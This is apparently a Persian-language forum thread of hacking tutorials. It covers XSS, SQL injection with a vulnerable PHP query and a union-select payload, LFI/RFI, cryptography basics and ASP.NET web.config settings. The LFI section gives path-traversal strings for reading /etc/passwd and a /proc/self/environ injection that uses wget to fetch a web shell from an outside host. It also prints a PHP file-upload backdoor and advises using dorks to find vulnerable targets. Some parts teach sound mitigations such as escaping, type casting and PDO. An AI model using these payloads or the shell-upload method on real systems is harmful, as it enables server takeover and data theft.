رابط گرافیکی Havij و تنظمیات و تشخیص های خودکار استفاده از آن را برای هر کسی حتی کاربران مبتدی آسان می کند.

اموزش کار با هویج Acunetix :در حال ساخت بعد از تکمیل پیوست میشه !

Share this post


Link to post
Share on other sites

XSS یا همونCSS که مخفف کلمه Cross Site Scripting می باشد یکی از انواع حملات به وب سایت ها می باشد که در این نوع کاربران مورد هدف واقع می شوند

CSS مخفف کلمه Cascading Style Sheat هستش متخصصین کامپیوتر برای جلو گیری از اشتباه نام XSS را برای این نوع حمله انتخاب کردند.

پس از اینکه صفحات حالت پویا به خود گرفت نفوذگرها پی به یکی از حفره های اینگونه سایت ها بردند

این حفره بیشتر زمانی رخ می دهد که سایت اطلاعات کاربر را توسطQuery string از کاربر درخواست کند

http://www.mysite.com/login.php?azad=عبارتی که دریافت کرده

حالا نفوذ گر میتونه به جای اون عبارت اسکریپت خودش را بنویسه

http://www.mysite.com/login?azad=<h1>nofoozgar</h1>

این یه مثال ساده بود که فقط نفوذ گر کد html را نوشت . در حال ساخت بعد از تکمیل پیوست میشه !

آموزش كامل Xss (از كاربر ساده تا ادمين) ...!

اموزش کامل Xss از 0 تا مدیریت (Target: Smf 1.1.Full)

اموزش پیدا کردن باگ xss در جوملا

فیلم اموزشی نحوه استفاده از باگ XSS در VBulletin Blog 4.02

Cross Site Scripting (xss) Manual

و در اخر :

مقالات کامل اموزشی xss

Share this post


Link to post
Share on other sites

j دارای انواع گوناگونی است در ابتدا به آموزش هک سایت هایی که دارای باگ mysql هستند می پردازیم یعنی سایت های Php.

تعاریف کلی از سرار نت :

باگ sql زمانی رخ می دهد که برنامه نویس داده های ورودی را بدون کنترل مورد پردازش قرار دهد. نفوذگران از همین موضوع استفاده کرده و کنترل کامل سرور و یا تمامی سرور های موجود در آن شبکه را تحت کنترل خود در می آورند. پس هرکدی که از ورودی های کاربر برای جستجو در بانک اطلاعاتی بدون بررسی استفاده شود احتمال یک حمله موسوم به SQLI را دارد.

در زیر شما کد مستعد SQLI را مشاهده می نمایید:

<?php $q="select * from TABLE where id=".$_GET['id']; $q1=mysql_query($q); ?>

همانطور که مشاهده می کنید این کد همان ورودی که از URL را دریافت میکند به طور مستقیم مورد پردازش قرار می دهد و این یعنی نفوذگر می تواندبه طور مستقیم دستورات خود را وارد نماید تا توسط سرور مورد پردازش قرار گیرد. این یعنی فاجعه! زیرا باگ SQLI یکی از خطرناک ترین باگهاست.

اگر نفوذگر کد زیر را به انتهای URL خود وارد کند چه اتفاقی می افتد؟؟؟

union+select+user+from+admin

وسیله دستور union دو دستور select را به هم اضاف می کند و باعث می شود یوزرهایی که در جدول ادمین قرار دارند را مشاهده کند!

حال خواه این ورودی از طریق URL باشد( متد GET). خواه از طریق ارسال پست(متد POST).

ابتدا باید یه هدف آسیب پذیر پیدا کنیم که باگ (حفره امنیتی) از نوع mysql داشته باشد.برای این کار میتوانیم از ابزار اسکنر باگ یا دورک استفاده کنیم که من به شما استفاده از دورک ها را پیشنهاد میکنم.

دورک ها عباراتی هستند که میتوانیم با وارد کردن آنها در گوگل یا ... به هدف آسیب پذیر برسیم.

آموزش كامل ساخت دورك - گوگل هكينگ در حال ساخت بعد از تکمیل پیوست میشه !

آموزش كامل نفوذ به سايت ها و سرور ها با متدي جديد در حال ساخت بعد از تکمیل پیوست میشه !

باگ sql زمانی رخ می دهد که برنامه نویس داده های ورودی را بدون کنترل مورد پردازش قرار دهد. نفوذگران از همین موضوع استفاده کرده و کنترل کامل سرور و یا تمامی سرور های موجود در آن شبکه را تحت کنترل خود در می آورند. پس هرکدی که از ورودی های کاربر برای جستجو در بانک اطلاعاتی بدون بررسی استفاده شود احتمال یک حمله موسوم به SQLI را دارد.

حال خواه این ورودی از طریق URL باشد( متد GET). خواه از طریق ارسال پست(متد POST).

اموزشهای مفهومی sqlI در حال ساخت بعد از تکمیل پیوست میشه !

آموزش باگ sqli به صورت دستی در حال ساخت بعد از تکمیل پیوست میشه !

مجموعه فیلم های آموزشی Sql Injection در حال ساخت بعد از تکمیل پیوست میشه !

روش های جلوگیری از حمله:

1- روش های رایج و معمول: در خیلی از مواقع تاکتیکی که خیلی از دوستان برنامه نویس برای جلوگیری از حمله انجام می دهند، تاکتیک چک کردن ورودی و تبدیل آن به کاراکتر های دیگه!

مثلا تبدیل کدهای ورودی به نوع int و گرفتن ورودی به صورت عددی... و یا اضافه کردن یک کاراکتر / به ورودی و...

کد زیر را در نظر داشته باشید:

<?php
$q="select * from TABLE where id=".$_GET['id'];
$q1=mysql_query($q);
?>

روشهای معمول ایمن سازی به صورت زیر است:

1-استفاده از تابع int:

کد اصلاح شده با این متد:

<?php
$id=(int)$_GET['id'];
$q="select * from TABLE where id='".$id."'";
$q1=mysql_query($q);
?>

2- اعتبار سنجی ورودی به وسیله تابع ctype_digit() که تقریبا کار بالا رو انجام میده:

کد اصلاح شده با این متد:

<?php
$id=$_GET['id'];
if(isset($id) AND ctype_digit($id)){
$q="select * from TABLE where id='".$id."'";
$q1=mysql_query($q);
}
?>

3- استفاده از escape

کد اصلاح شده با این متد:

<?php
$id=$_GET['id'];
$q="select * from TABLE where id='".mysql_real_escape_string($id)."'";
$q1=mysql_query($q);
?>

این کد تمامی ورودی های مضر را خنثی می کنه!

متد escape روش های دیگه هم داره که خیلی ایمن نیستند اما من بخاطر اینکه تاپیک جامع هست آنها را می آورم:

استفاده از تابع addslash , str_replace:

<?php
$id=$_GET['id'];
$q="select * from TABLE where id='".addslashes($id)."'";
$q1=mysql_query($q);
?>

<?php
$id=$_GET['id'];
$q="select * from TABLE where id='".str_replace("'","''",$id)."'";
$q1=mysql_query($q);
?>

استفاده از پردازش های آماده بوسیله افزونه PDO

بررسی ورودی کاربر از لیست سیاه: در این روش کاراکتر های مورد استفاده در حملات موسوم به sqli را در درون یک فایل ریخته و ورودی کاربر را به وسیله این کاراکترها بررسی نماییم و اگر مطابقت داشت بلوکه گردد./ هرچند روشی برای جلوگیری به شمار می آید ولی پیشنهاد می شود از روش همراه روش های دیگر استفاده کنید. مثلا می توانید تعین کنید که اگر کاربر از کاراکتر استفاده کرد صفحه اخطاری به او نمایش داده شود./

عدم نمایش خطاهای احتمالی به کاربر: به یاد داشته باشید که اخطارهای نمایش داده شده به کاربر می تواند دست شما را رو کند./ این اخطارها به کاربر کمک می کند تا از وضعیت سرور شما آگاه شود./

محدودیت در انجام عملیات حساس توسط برنامه تحت وب: این روش به ما می گوید که برنامه وب نباید برای پردازش های مربوطه بیشترین سطح اختیار را داشته باشد مگر در جاهای حساس./ مثلا اگر نفوذگر بتواند دستورات را اینجکت نماید با این محدودیت دیگر قادر به انجام عملیات خطرناکتر مانند update جداول نباشد...

بقیه مبحث در پست بعدی ارائه خواهد شد

دوستان دقت کنن مباحث مطمئن از سرار نت گرفته شده و کاملترین موضوعات در پستهای اموزش لینک داده بالا میباشد که توسط اعضای خود انجمن تهیه شده و فقط جهت کاملتر ارائه شدن مبحث برای شما عزیزان است

Share this post


Link to post
Share on other sites

باگ lfi و rfi چیست؟

Lfi چیست : Lfi یا Local File Inclusion یک نوع دسترسی محلی به ما برای مشاهده ی فایل های سرور مورد نظر رو میده. باگ Lfi بیشتر در اشتباهات برنامه نویس در استفاده از توابعی مثل Include ,require() و غیره رخ میده.

با استفاده از این باگ حرکت های زیادی میشه کرد از جمله :

تبدیل آن به اجرای دستورات از راه دور با استفاده از گزارش های Apache

خواندن فایل های مهم سیستمی با فایل های config

Rfi : این باگ با بی احطیاتی برنامه نویس در استفاده از توابع Include و ... به وجود میاد.

در اصل این توابع فایل یا صفحه ای رو فراخوانی میکنن که اگر روی این درخواست کنترولی نباشه میتونه مونجر به باگ Rfi یا حتی Lfi بشه.

بعد از پیدا کردن باگ میرسیم به خوانده فایلهای مهم مثل : etc/passwd که اکثرا به شکل زیر می باشد :

.../.../.../.../etc/passwd%00
Or
etc/;cat passwd%00

و در صورت دادن خطا به جای cat از کاراکترهای more , less , ... استفاده نمائید.

نحوی آپلود شل :

به جای etc/passwd عبارت proc/self/environ%00 را وارد نمائید و سپس :

../../../../../../../../../../../../../../../proc/self/environ%00&cmd=wget http://shelinizinadresi.com/tools/bd/fxshell.txt -O scroll.php

بعد از wget مسیر شل رو بهش میدید

اکثر این باگ ها در میان پلاگینهای Joomla , وردپرس پیدا میشه .

نمونه کدی که باعث ایجاد چنین باگی میشه :

<?php
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) **
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) ** echo '<b>Upload!!!</b><br><br>'; }
else ** echo '<b>Upload !!!</b><br><br>'; }
}
?>

نحوه شناسایی باگ LFI در کد های PHP و تشخیص آسیب پذیری برای هک سایت

بخش اول - تشخیص آسیب پذیری :

این باگ در کدهای دیده میشود که درخواست فراخوانی یک فایل رو دارند. همونطور که از اسمش هم پیداست اجازه ی دسترسی به فایلهای روی سرور رو به ما میدهد که این فایل ها ممکنه که اطلاعات مهم و حساسی رو در خودشون ذخیره کرده باشند.

برای شروع کد PHP زیر رو در نظر بگیرید

<?php
$page = $_GET

;
include($page);
?>

برسی کد:

در این کد ساده یه متغییر تعریف شده و سپس از طریق پروتکل HTTP و با دستور GET (برای گرفتن مقدار از طریق URL) مقدار دهی میشه و در انتها با Include که یکی از توابع فراخوانی در PHP هست فراخوانی شده .

اینجا باید این مطلب رو اضافه کنم که علاوه بر تابع Include از توابع زیر نیز برای فراخوانی یک فایل در زبان PHP استفاده میشود

Include_Once
Require
Require_once
virtual

برای تست آسیب پذیری باگLFI باید موارد زیر رو در کد PHP موجود چک کنیم:

1- یکی از توابع ذکر شده بالا در آن وجود داشته باشد.

2- در داخل یکی از توابع بالا متغییر وجود داشته باشد.

3- متغییر از طریق پروتکل HTTP قابل مقدار دهی باشد.

4- شرایط لازم برای رسیدن به خط تابع موجود باشد.

خوب می بینیم که در کد بالا تمامی موارد موجود هست:

1- وجود تابع Include

2- وجود متغییر $page

3- مقدار دهی به متغییر از طریق GET

4- تابع در اول برنامه فراخوانی میشود و قبل از آن چیزی وجود ندارد تا مانع اجرای تابع شود.

اما در مقابل به این کدها توجه کنید :

Exam1:
<?php
Include (“cloob.com/page.php”);
?>

در این مثال هیچ گونه متغییری تعریف نشده است، یعنی شروط ما رعایت نشده است بنابراین این کد آسیب پذیر نیست .

Exam2:
<?php
$filename = preg_replace("/[^a-z0-9A-Z]/","",$_GET['lang']);
include("lang/" . $filename . ".php");
?>

در مورد این مثال، خوب متغییرکه تعریف شده ، از Include هم که استفاده شده ولی دقت کنید که در خط قبلی متغییر ورودی را ف_ی_ل_ت_ر کرده است به این معنا که هرچه از طریق GET مقدار داده شود آنالیز شده و هر کاراکتری غیر از A-Z a-z 0-9 وجود داشته باشد رو حذف میکنه ، پس از این کد هم نمیتوان استفاده کرد.(این یک نمونه کد امن شده میباشد./

--در حال ساخت بعد از تکمیل پیوست میشه !

آموزش آپلود شل با باگ rfi

مجموعه فيلم هاي آموزشی ,rfu,rfi,lfi

فیلم نفوذ به سایت با استفاده از باگ lfi

فیلم آموزشی lfi+ssh crack+root

فلیم آموزشی باگ lfi و ریختن شل

مرجع کامل نحوه patch باگ های php

Share this post


Link to post
Share on other sites

کل آموزشهای که من میتونم بدم اینهاست و من یه زمان بین 1 ماه میخوام برای ساخت موارد گفته شده سیم میکنم کامل کنم تا سوالی نباشه

از مدیر کل میخواهم این تایپیکو مهم کنه و من اگر ممکنه مدیر بخش هک بشم . اگه ممکنه

Share this post


Link to post
Share on other sites

كدگذاري (Encryption) :

• به پروسه ي تبديل يك پيغام كاملا عادي (Plaintext) به داده هايي كه كاملا تغيير يافته و بدون معني (ciphertext) به نظر مي رسند ، گفته مي شود.

رمزگشايي (decryption) :

• به پروسه ي تبديل ciphertext به plaintext گفته مي شود.

Cryptography

• علم ايجاد ارتباطات امن در دنياي داده ها.

Cryptanalysis

• به روش هاي شكستن ciphertext گفته مي شود ( يعني بدست آوردن plaintext بدون دانستن كليد اصلي ).

Cryptology

• شاخه اي از رياضيات كه سروكارش با cryptography and cryptanalysis است.

Cryptographic algorithm

• كه به آن cipher هم گفته مي شود ، تابعي رياضي است كه انجام عمليات كدگذاري و برعكس را انجام مي دهد.

الگوريتم هاي متقارن (Symmetric algorithms)

• از يك كليد براي رمزگذاري و رمزگشايي استفاده مي كنند (در ادامه بعنوان Private Key Systems معرفي مي شوند).

الگوريتم هاي نامتقارن (asymmetric algorithms) :

• از يك جفت كليد براي كدگذاري و رمزگشايي استفاده مي كنند. اين دو كليد با روابط رياضي به هم مربوط مي شوند اما توليد يكي از ديگري بسيار مشكل است (در ادامه بعنوان Public Key Algorithms معرفي مي شوند).

Block Ciphers

• الگوريتم هاي كدگذاري اطلاعات كه بر روي قطعاتي از داده ها با طول 64-bit كار مي كنند ( مانند DES و RC2 ).

Stream Ciphers

• اين الگوريتم ها تنها يك بيت از داده ها را در هر لحظه كدگذاري مي كنند (مانند RC4).

سيستم هاي كدگذاري بر مبناي روش هاي كليد خصوصي (Private Key Systems) :

• مثالها: DES, AES, IDEA, RC5, RC6, Blowfish, Twofish

• در اين سيستم ها يك كليد براي هر دو حالت كدگذاري و رمزگشايي بكار برده مي شود.

• تنها با تكه هاي ثابتي از قطعات داده ها كار مي كنند (عموما 64 تا 256 بيت) ، بدين معنا كه داده ها بايد به قطعاتي با طول ثابت تبديل و سپس كدگذاري شوند. در اين حالت عموما طول خروجي با طول ورودي يكسان است.

• در اين روش ها از ابزارهايي مانند : عمليات جبري (جمع و ضرب و غيره) ، عمليات بيتي (XOR ، چرخش و غيره ) و table lookups (sBoxes) ، براي اختلاط كليد و داده ها استفاده مي كنند.

• در اين روش ها تنها با تغيير يك بيت از داده ها و يا كليد ، بيت هاي خروجي تا 50 تغيير خواهند كرد.

حملات گزارش شده به سيستم هاي كدگذاري بر مبناي كليد خصوصي :

• Brute force : امتحان كردن تك تك كليدهاي ممكن.

• اگر اختلاط داده ها با كليد به اندازه ي كافي پيچيده و يا كامل نباشد ، الگوريتم بكار گرفته شده ممكن است سبب درز اطلاعاتي درباره ي كليد شود و اين حالت باعث مي شود كه بتوان حدس هاي دقيق تري را براي روش Brute force زد.

مزاياي الگوريتم هاي كدگذاري بر مبناي كليد خصوصي :

• بسيار سريع هستند (تنها به 20 clock cycles/byte or less براي انجام محاسبات نيازمند هستند).

• كليدهايي با طول كوچك براي حفظ امنيت آنها كافي هستند. براي مثال كليدهايي با طول 128 bits تا 100 سال آينده مطمئن هستند (تنها روش quantum cryptography مي تواند آنرا بشكند) و كليدهايي با طول 256 bits حتي در برابر quantum cryptography نيز مقاوم هستند.

سيستم هاي كدگذاري اطلاعات بر مبناي روش هاي كليد عمومي (Public Key Algorithms) :

• مثالها : RSA, Elliptic Curve, Diffie-Helman

• در اينگونه روش ها كليدها با صورت يك جفت ارائه مي شوند. اطلاعاتي كه با يك كليد كد گذاري شده است تنها با جفت كليد ديگر قابل رمزگشايي است و برعكس. (اين دو كليد با روابط رياضي به هم وابسته و مربوط هستند)

• اين روشها به شما اجازه مي دهند تا يك كليد را آزادانه منتشر كنيد (the "public" key) و كليد ديگر را نزد خود محفوظ نگه داريد. ( اين كليد مخفي عموما در كارتهاي هوشمند و يا وب سرورها و .... ذخيره مي شود ).

• در اين روش ها هر كسي مي تواند اطلاعات را با كليد عمومي منتشر شده كدگذاري نمايد اما تنها شما هستيد كه مي توانيد با استفاده از كليد خصوصي خود ، اين داده ها را رمزگشايي نماييد.

• بر عكس ، شما مي توانيد پيغامي را با كليد مخفي خود كدگذاري نماييد و سپس همگاني كه دسترسي به كليد عمومي دارند ، آنرا رمزگشايي كنند.

مثالي از يك سيستم گذاري با كليد عمومي : RSA

• دو عدد اول بزرگ مانند p و q را پيدا نموده و سپس r = p * q را محاسبه نماييد.

• عدد اتفاقي مانند x را انتخاب كرده و سپس y ايي را بيابيد كه به ازاي تمام m هاي كوچكتر از r داشته باشيم : m^xy % r = m

• اينكار با دانستن p و q ساده مي باشد اما تنها با دانستن r بسيار مشكل است و همچنين تجزيه ي r به p و q نيز بسيار مشكل است.

• p و q را فراموش كنيد. كليد عمومي x و r خواهد بود و كليد خصوصي y مي باشد.

• براي كدگذاري اطلاعات با كليد عمومي ، تمام اطلاعات به قطعاتي بيتي با اندازه ي كوچكتر از r شكسته مي شوند.

• فرستنده تنها كافي است e = m^x % r را محاسبه نمايد . در اينجا e قطعه ي گذاري شده است.

• براي رمزگشايي اين قطعه تنها كافي است e^y % r = m محاسبه شود.

• به همين ترتيب داده ي كدگذاري شده با كليد خصوصي (f = m^y % r) را مي توان با كليد عمومي رمزگشايي كرد (f^x % r = m) .

• بايد به خاطر داشت : m^xx != m . بنابراين داده هاي گذاري شده با كليد عمومي را نمي توان با همان كليد عمومي رمزگشايي كرد.

حملات گزارش شده به سيستم هاي كدگذاري با كليد عمومي :

• براي شكستن RSA تنها كافي است كه r به p و q تجزيه شود. تجزيه كردن اعداد بسيار سريعتر از روش brute force است. سختي تجزيه ي يك عدد 512-bit به اندازه ي محاسبه ي 2^64 حالت مختلف كدها در سيستم كدگذاري با كليد خصوصي (روش brute force) است.

• هر چقدر روش هاي سريعتري براي تجزيه ي اعداد ميسر شود ، شكستن RSA نيز به همان نسبت ساده تر خواهد شد.

هش كردن اطلاعات (Hashing) :

• مثالها : MD2, MD5, SHA

• checksum (مجموع مقابله اي(!)) يك پيغام را توليد مي كنند.

• همانند روش هاي كدگذاري بر مبناي كليد خصوصي از عمليات جبري و بيتي پيچيده اي براي تركيب بيت ها و توليد خروجي استفاده مي كنند.

• به اين الگوريتم ها message digest, fingerprint or compression function نيز گفته مي شود.

• اين الگوريتم ها يك طرفه هستند و عمدا طوري طراحي شده اند كه مهندسي معكوس آنها تقريبا غيرممكن باشد.

موارد استفاده از الگوريتم هاي Hash :

• توليد امضاي ديجيتال پيغام ها كه همراه با سيستم هاي كدگذاري كليد عمومي بكار گرفته مي شود. در اين حالت ، پيغام هش شده و سپس اين هش با كليد خصوصي رمزگذاري مي شود. سپس هر كسي كه كليد عمومي را داشته باشد بايد دو كار را انجام دهد تا از اين كه پيغام رسيده پيغام شما مي باشد و يا اينكه تغيير داده شده است ، اطمينان حاصل نمايد : 1- هش فرستاده شده را رمزگشايي كند ( با كليد عمومي ). 2- با استفاده از كليد عمومي ، مقدار هش پيغام را محاسبه كند. اين دو را با هم مقايسه نمايد.

• الگوريتم هاي كدگذاري با كليدهاي عمومي عموما كند مي باشند( عموما هزار بار كندتر از سيستم هاي كدگذاري با كليد خصوصي ). بنابراين تركيب الگوريتم هاي هش كردن اطلاعات با اين روشها بسيار ايده آل هستند زيرا نياز به كدگذاري كل پيغام را با كليد خصوصي منتفي مي كنند. تنها كافي است كه مقدار هش شده ي كل اطلاعات را در اين ميان به بازي گرفت.

• ايجاد يك مقدار با طول ثابت از منبعي از داده ها با طول بسيار زياد. ( لازم به ذكر است كه هش توليد شده منحصر بفرد است. براي مثال اگر كلمه ي Vahid را با الگوريتم MD5 هش كنيم حاصل E5EDE944EBEE46D553DFE88EAB5168CE خواهد شدو يا با استفاده از الگوريتم SHA1 خروجي C6014B4E1596B58399DEEB1B25317FA7A7B29A6D مي باشد. هيچ داده ي ديگري را نمي توان هش كرد كه اين خروجي را توليد كند).

• براي بالاتر بردن امنيت ديتابيس حاوي پسوردهاي كاربران بكار گرفته مي شوند.

حملات گزارش شده در مورد الگوريتم هاي hashing :

• تصادم (Collisions) ، يافتن دو منبع اطلاعات كه يك hash را توليد كنند.

• درز اطلاعاتي در مورد منبع داده ها ( آيا مي توان از مقدار هش ، اطلاعاتي را در مورد منبع آن حدس زد؟! )

Share this post


Link to post
Share on other sites

دیدم در مورد سرورهای ویندوز خیلی کم صحبت میشه !گفتم یه مطلب در مورد وب کانفیگ بزارم !

معرفی فایل Web.Config

فایل web.config همانطور که از اسم آن پیداست یک فایل پیکربندی برای یک پروژه ASP.net میباشد .در هر پروژه ASP.net یک فایل web.config وجود دارد که امکان پیکربندی پروژه را فراهم میسازد .

فایل web.config چیست؟

فایل web.config همانطور که از اسم آن پیداست یک فایل پیکربندی برای یک پروژه ASP.net میباشد .در هر پروژه ASP.net یک فایل web.config وجود دارد که امکان پیکربندی پروژه را فراهم میسازد . البته امکان اینکه چند فایل web.config در یک پروژه وجود داشته باشد نیست . در انتهای این مقاله بعد از معرفی کلی این فایل به طرز استفاده از چند فایل در یک پروژه ASP.net میپردازیم.فایل web.config یک فایل از نوع xml بوده و تمامی تگ های داخل این فایل دارای معنی بوده لازم به ذکر است که این فایل نسبت به کوچک و بزرگ بودن حروف حساس است .

فایل machine.config چیست؟

همانطور که از یک فایل web.config برای پیکربندی یک پروژه ASP.net استفاده میشود از فایل machine.config برای پیکربندی پروژه های ASP.net که در یک کامپیوتر خاص اجرا میشوند استفاده میشود.بدین معنی که پیکربندی های که در یک فایل machine.config قرار دارد تمام پروژه های ASP.net که در آن کامپیوتر قرار دارند را تحت تاثیر قرار میدهد . معمولا فایل machine.config را تغییر نمیدهند و برای هر پروژه جداگانه و با استفاده از فایل های web.config پیکربندی را بطور جداگانه انجام میدهند.

چه چیزی در فایل web.config قرار میگیرد؟

تعداد زیادی تنطیمات مهم هستند که در یک فایل web.config قرار میگیرند . در زیر به ذکر چهار مورد از مهمترین تنظیماتی که میتواند در یک فایل web.config میواند قرار بگیرد اکتفا میکنیم:

۱-Database Connections

یکی از مهمترین چیزهائی که در یک فایل web.config قرار میگیرد اطلاعات مربوط به connection string میباشد. دلیل قرار دادن یک connection string در یک فایل web.config زمانی مشخص میشود که قرار باشد که جای database خود را تغییر دهیم . در این حالت فقط کافی است که اطلاعات مربوط به connection string را در فایل web.config تغییر دهیم در صورتیکه اگر اطلاعات مربوط به connection string را در خود application قرار دهیم برای تغییر database باید تعداد زیادی از فایل های موجود در پروژه را تغییر دهیم و این کار زمانگیری است و بعلاوه ویژگی قابل حمل بودن یک برنامه را فوق العاده پائین می آورد . البته من زیاد با قرار دادن اطلاعات مهمی چون connectionstring به صورت خام زیاد موافق نیستم . اگر از این روش استفاده میکنید من توصیه میکنم که اطلاعات مربوط به connection string را رمز کرده و مقدار رمز شده را در فایل web.config قرار دهید . البته لازم به ذکر است که در رمز کردن از Hashing استفاده نکنید دلیلش رو اگه نمیدونید برید و مقاله قبلی که در مورد hashing هست رو یه مطالعه ای بکنید.در مثال زیر نحوه قرار دادن اطلاعات مربوط به یک Connection string را میبینیم:

appSettings>

configuratrion>

همانطور که دیدید قراردادن اطلاعات مربوط به connection string در یک فایل web.config بسیار آسان است connection string با استفاده از key که در اینجا ConnectionString میباشد مورد ارجاء قرار میگیرد و value مشخص کننده مقدار این key میباشد. دستیابی به این key ها در یک Application بسیار آسان است .

برای دستیابی به key در یک application به شکل زیر عمل میکنیم:

Using System.Configuration;

String connection_string = ( string ) ConfigurationSettings.Appsettings[“ConnectionString”];

۲-Session States

Session در یک پروژه ASP.net بسیار مهم است . همانطور که میدانید پروتکل HTTP یک پروتکل StateLess میباشد به این معنی که بصورت اتوماتیک امکان تشخیص اینکه رشته ای از تقاضاها به سمت یک سایت همگی از سوی یک کامپیوتر صورت میگیرد یا اینکه یک مرورگر در حال مشاهده یک سایت هست یا نه وجود ندارد . برای رفع این دو مشکل فوق و در اصطلاح برای State نگه داشتن یک سایت از Session States استفاده میشود .ASP.net برای ذخیره کردن Session از روش های مختلفی استفاده میکند . به طور پیش فرض ASP.net ، session ها را در همان پردازش مربوط به سایت ذخیره سازی میکند .همچنین شما برای ذخیره سازی session ها علاوه بر روش پیش فرض میتوانید از دو روش زیر استفاده کنید . ناگفته نماند که مشخص کردن نحوه ذخیره سازی یک Session در فایل Web.config مشخص میشود.روش های ذخیره سازی را در زیر می بینید:

۱-Session State Server

استفاده از این روش برای ذخیره سازی Session ها دارای دو سود مناسب است . اول اینکه به این دلیل که پروسس های مربوط به Session و Application یکی نیستند چنانچه Application به قول معروف Crash کند هیچ آسیبی متوجه Session ها نخواهد بود چون دو پردازش مجزا هستند . دومین سود این است که امکان اشتراک در میان یک کامپیوتر چند پردازنده میسر میباشد. برای مشخص کردن اینکه نحوه ذخیره سازی Session به صورت State Server باشد لازم است در فایل web.config تغییرات زیر را اعمال کنیم:

در زیر توضیحی مختصر راجع به پارامترهای بالا را ذکر میکنم:

Mode : درواقع حالت ذخیره سازی است که میتواند یکی از دو مقدار StateServer یا SqlServer باشد در اینجا چون میخواهیم از روش StateServer استفاده کنیم مقدار Mode را مساوی StateServer قرار میدهیم.

stateConnectionString :connection string که از آن برای مشخص کردن موقعیت State Service استفاده میشود .

sqlConnectionString :connection string مربوط به SqlServer میباشد که البته برای State Server لازم نیست ولی برای حالت SqlServer لازم است چون در این نوع از ذخیره سازی از SqlServer استفاده میشود.

Cookieless : در صورت تمایل برای نگه داشتن مقدار Session در سمت Client بعد از قطع اتصال بین سایت و Client میتوان مقدار این گزینه را False کرد ولی من که این کار را مفید نمیبینم پس با True کردن این مقدار اجازه ذخیره شدن اطلاعات مربوط بهSession را ندهید .

Timeout: در واقع این item طول عمر یک Session را بر حسب دقیقه بیان میکند .

البته این تگ item های دیگری هم دارد که من توضیح نمیدم ولی حتما قبل از استفاده از Session ها یه نگاهی به این گزینه ها بکنید به طور مثال یکی از گزینه هائی که نگفتم در مورد رمز کردن اطلاعات داخل Sessionو نگه داشتن این اطلاعات در کامپیوتر Client میباشد.

۲-SqlServer

انتخاب دوم برای ذخیره سازی Session ها SqlServer 2000 میباشد . برای ذخیرهسازی اطلاعات مربوط به یک Session با استفاده از SqlServer مراحل زیر را دنبال کنید:

۱- با استفاده از ابزا Query Analyser اسکریپت InstallSqlSate.sql را اجرا کرده تا DataBase مورد نیاز برای ذخیره سازی Session در SqlServer ایجاد شود . لازم به ذکر است که فایل InstallSqlState.sqlدر مسیر زیر است:

systemroot\Microsoft.NET\Framework\versionNumber

2- در مرحله دوم لازم است تا تنظیمات لازم را به مانند آنچه در StateServer انجام دادیم ، انجام دهیم .

برای این کار لازم است تا تغییرات زیر را در فایل web.config انجام دهیم:

البته اطلاعات دیگر را به مانند آنچه در State Server دیدید قرار دهید.

SqlServer امکان به اشتراک گذاشتن اطلاعات مربوط به یک Session را بین چند سایت یا حتی چند Server ممکن میسازد ولی تنها ایراد این روش در این است که SqlServer نسبت به Session State کندتر است و از این لحاظ بهتر است که از StateServer استفاده کنیم .

۳-Error Handling

Error handling یکی از قسمت های خیلی مهم در هر پروژه تحت وب میباشد . امکان رخ دادن هر نوع Error وجود دارد بنابراین بایستی راهی را برای مقابله با این error ها در نظر بگیریم . ASP.net با استفاده از فایل Web.config به ما این امکان را میدهد که Error ها را کنترل کنیم .

بطور مثال برای کنترل error 404 به شکل زیر عمل میکنیم :

customErrors>

چند خط کد فوق برای این است که در هنگام رخدادن error 404 که مربوط به یافت نشدن صفحه است بجای نمایش این error به صفحه notfound.asp برود . چنانچه Mode=””Off باشد در این صورت در هنگامی که یک Error رخ دهد همان error برای کاربران نهائی نمایش داده میشود .

۴-security(authentication)

یکی از جنبه های مهم هر برنامه تحت وب امنیت آن است . ASP.net امکانات مناسبی را در زمینه امنیت ایجاد کرده است که میتوانیم بر حسب نیاز از این امکانات استفاده کنیم .یکی از امکاناتی که .net در زمینه امنیت ارائه داده است اعتبارسنجی کاربران است که از سه طریق این عمل ممکن میشود:

۱-Windows Authentcation

Windows authentication به شما این امکان را میدهد تا از اکانت های کاربران در ویندوز استفاده کنید . این سرویس از IIS استفاده میکند . و بعد از اعتبارسنجی کاربران اطلاعات کاربری تائید شده را برای کد برنامه شما ارساال می کند . اگر شما مایل به این هستید که بدانید کدام کاربر ویندوز از برنامه های ASP.net استفاده میکند با استفاده از Property زیر میتوانید این اطلاعات را بدست آورید :

User.Identify.Name;

این Property کلمه کاربری(username) کاربر فعلی را در خود دارد .

۲-Passport Authentication

این نوع از اعتبارسنجی کاربران برای اعتبارسنجی از سرویس Passport محصول شرکت Microsoft استفاده میکند . برای استفاده از این سرویس میبایستی این سرویس را خریداری کنید .

۳-Forms Authentication

این نوع از اعتبارسنجی کاربران برای اعتبارسنجی از Form های Login که در بیشتر سایت ها میبینیم استفاده میکنند . این نوع از اعتبارسنجی به واقع بیشترین استفاده را در میان سه نوع اعتبار سنجی دارد .بارها شده در سایت هائی رفته و اجازه مشاهده یک سری از صفحات فقط در صورت Login کردن به شما داده میشود در واقع در چنین سایت هائی از Forms Authentication استفاده میشود . این مبحث بسیار گسترده است و نیاز به یک آموزش کامل در مورد اعتبار سنجی کاربران از طریق Forms Authentication وجود دارد ان شاء الله در آینده نزدیک در این مورد بیشتر صحبت خواهیم کرد در انتهای این قسمت قطعه کد لازم برای اعتبار سنجی کاربران به روش Forms authentication را میاوریم:

authentication>

authorization>

استفاده از چند فایل web.config در یک برنامه ASP.net:

